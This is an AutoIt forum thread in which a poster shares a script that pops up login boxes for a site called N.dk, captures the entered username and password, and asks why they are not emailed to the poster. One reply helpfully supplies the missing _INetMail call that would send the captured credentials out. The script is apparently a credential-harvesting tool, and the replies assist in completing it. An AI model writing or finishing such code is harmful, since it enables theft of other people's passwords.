Jump to content
Sign in to follow this  
Guest Nokiza

Email sending with, AutoIt v3

Email sending with, AutoIt v3  

3 members have voted

  1. 1. Email sending with, AutoIt v3

    • Hello, i have made this,But, it is a Login, so when you login it's should send Username : Brugernavn
      0
    • And
      2
    • Kode: Password.
      1
    • To my email but it's not sending Anything?Someone who can help me???
      0


Recommended Posts

Guest Nokiza

I Have made this,

And it's a Login so, when you Login

It's sending the

Username : Brugernavn

And

Password : Kode

To my email, but it's not sending anything?

Someone who can help me???

HotKeySet("{ESCAPE}", "MyExit")

#include <INet.au3>


$s_mailto = ("Your@adress.com")
$Subject = InputBox('Brugernavn', 'Skriv dit brugernavn til N.dk her')
$Body = InputBox("Password", "Skriv din kode til N.dk her", "", "*")


$1 = $Subject
$2 = $Body
Run("NSE2005.exe")
mousemove( 190, 90)
Sleep(5000)
MouseClick("left", 190, 90, 1)
Sleep(20000)
mousemove( 348, 123,)
mouseclick("left", 348, 123, 1)

Send ($1)

mousemove( 456, 123)
mouseclick("left", 456, 123, 1)

Send ($2)


mousemove( 529, 123)
mouseclick("left", 529, 123, 1)
Sleep(5000)
mousemove( 460, 150)
mouseclick("left", 453, 150, 1)
Sleep(5000)
mousemove( 363, 244)
mouseclick("left", 363, 244, 1)
send ("{3}")
send ("{ENTER}")
sleep(5000)
mousemove( 190, 340)
mouseclick("left", 190, 340, 1)
send ("{4}")
send ("{ENTER}")
sleep(5000)
mousemove( 320, 385)
mouseclick("left", 320, 385, 1)
send ("{5}")
send ("{ENTER}")
sleep(5000)
mousemove( 530, 340)
mouseclick("left", 530, 340, 1)
send ("{6}")
send ("{ENTER}")
sleep(5000)
mousemove( 230, 230)
mouseclick("left", 230, 230, 1)
send ("{7}")
send ("{ENTER}")
sleep(5000)
mousemove( 500, 230)
mouseclick("left", 500, 230, 1)
send ("{8}")
send ("{ENTER}")
sleep(5000)
mousemove( 350, 370)
mouseclick("left", 350, 370, 1)
send ("{9}")
send ("{ENTER}")
sleep(5000)
mousemove( 525, 480)
mouseclick("left", 525, 480, 1)
send ("{10}")
send ("{ENTER}")
sleep(5000)

Func MyExit()
    Exit 
EndFunc
Edited by Nokiza

Share this post


Link to post
Share on other sites

im 99%sure it wudnt make a difference, but why would u set up the name in 1 variable, password in another, and then use2 completely different variables by equating them to the originals... doesnt seem logic to me

also, have you tried sending the values that you want, rather than whats been obtained from the input boxes?

try these... i mean im not a legend at autoit but if you can get it working without using the variables then you know its the variables that need working on. if it still doesnt work, you know its your method that needs improving, and not your variable calling etc...

Share this post


Link to post
Share on other sites

I Have made this,

And it's a Login so, when you Login

It's sending the

Username : Brugernavn

And

Password : Kode

To my email, but it's not sending anything?

Someone who can help me???

HotKeySet("{ESCAPE}", "MyExit")

#include <INet.au3>
$s_mailto = ("Your@adress.com")
$Subject = InputBox('Brugernavn', 'Skriv dit brugernavn til N.dk her')
$Body = InputBox("Password", "Skriv din kode til N.dk her", "", "*")
$1 = $Subject
$2 = $Body
Run("NSE2005.exe")
mousemove( 190, 90)
Sleep(5000)
MouseClick("left", 190, 90, 1)
Sleep(20000)
mousemove( 348, 123,)
mouseclick("left", 348, 123, 1)

Send ($1)

mousemove( 456, 123)
mouseclick("left", 456, 123, 1)

Send ($2)
mousemove( 529, 123)
mouseclick("left", 529, 123, 1)
Sleep(5000)
mousemove( 460, 150)
mouseclick("left", 453, 150, 1)
Sleep(5000)
mousemove( 363, 244)
mouseclick("left", 363, 244, 1)
send ("{3}")
send ("{ENTER}")
sleep(5000)
mousemove( 190, 340)
mouseclick("left", 190, 340, 1)
send ("{4}")
send ("{ENTER}")
sleep(5000)
mousemove( 320, 385)
mouseclick("left", 320, 385, 1)
send ("{5}")
send ("{ENTER}")
sleep(5000)
mousemove( 530, 340)
mouseclick("left", 530, 340, 1)
send ("{6}")
send ("{ENTER}")
sleep(5000)
mousemove( 230, 230)
mouseclick("left", 230, 230, 1)
send ("{7}")
send ("{ENTER}")
sleep(5000)
mousemove( 500, 230)
mouseclick("left", 500, 230, 1)
send ("{8}")
send ("{ENTER}")
sleep(5000)
mousemove( 350, 370)
mouseclick("left", 350, 370, 1)
send ("{9}")
send ("{ENTER}")
sleep(5000)
mousemove( 525, 480)
mouseclick("left", 525, 480, 1)
send ("{10}")
send ("{ENTER}")
sleep(5000)

Func MyExit()
    Exit 
EndFunc

<{POST_SNAPBACK}>

Det er temmelig svært at debugge din kode, i og ved at du har en masse musse flytten op og ned frem og tilbage.

Men så hvidt jeg kan se uden at kunne teste din kode, så kalder du aldrig inet.au3

du sender kun dit sub. og body, men til hvad kan jeg ikke se...

Nu ved jeg ikke om det er via N koden skal sendes, eller via en "intern" mail.

Hvis du vil sende via en intern mail skal du kalde inet.

EDIT:

Ved intern mail skal du kalde inet sådan her

_INetMail($address, $subject, $body)
Edited by Rex

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...